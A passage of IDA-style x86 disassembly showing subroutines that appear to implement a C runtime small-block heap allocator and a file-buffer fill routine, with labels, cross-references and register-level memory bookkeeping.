		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi


loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41E8C1
		cmp	esi, 20h
		jnb	short loc_41E89D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E8BE
; ---------------------------------------------------------------------------


loc_41E89D:				; CODE XREF: sub_41E680+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E8BE
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E8BE:				; CODE XREF: sub_41E680+214j
					; sub_41E680+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41E8C1:				; CODE XREF: sub_41E680+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A2E0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A2D0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A2D0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A2D0, 0
		jnz	short loc_41E9F6
		mov	off_43A2D0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A2D4, 0
		jnz	short loc_41EA1B
		mov	off_43A2D4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A2D4
		mov	[esi+4], eax
		mov	off_43A2D4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 289177Ah
		nop


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 2790000h
		nop


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 289177Ah
		cmp	off_43C2F0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C2F0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A2D0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DC904
		nop
		call	near ptr 2790000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A2E0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A2D4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 289177Ah
		nop
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB2F4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A2D4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A2D0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB2F4
		cmp	dword_4DB2F4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C2F0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C2F0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C2F0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A2D0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28918FDh
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C2F0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C2F0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DC5C0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43C950


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
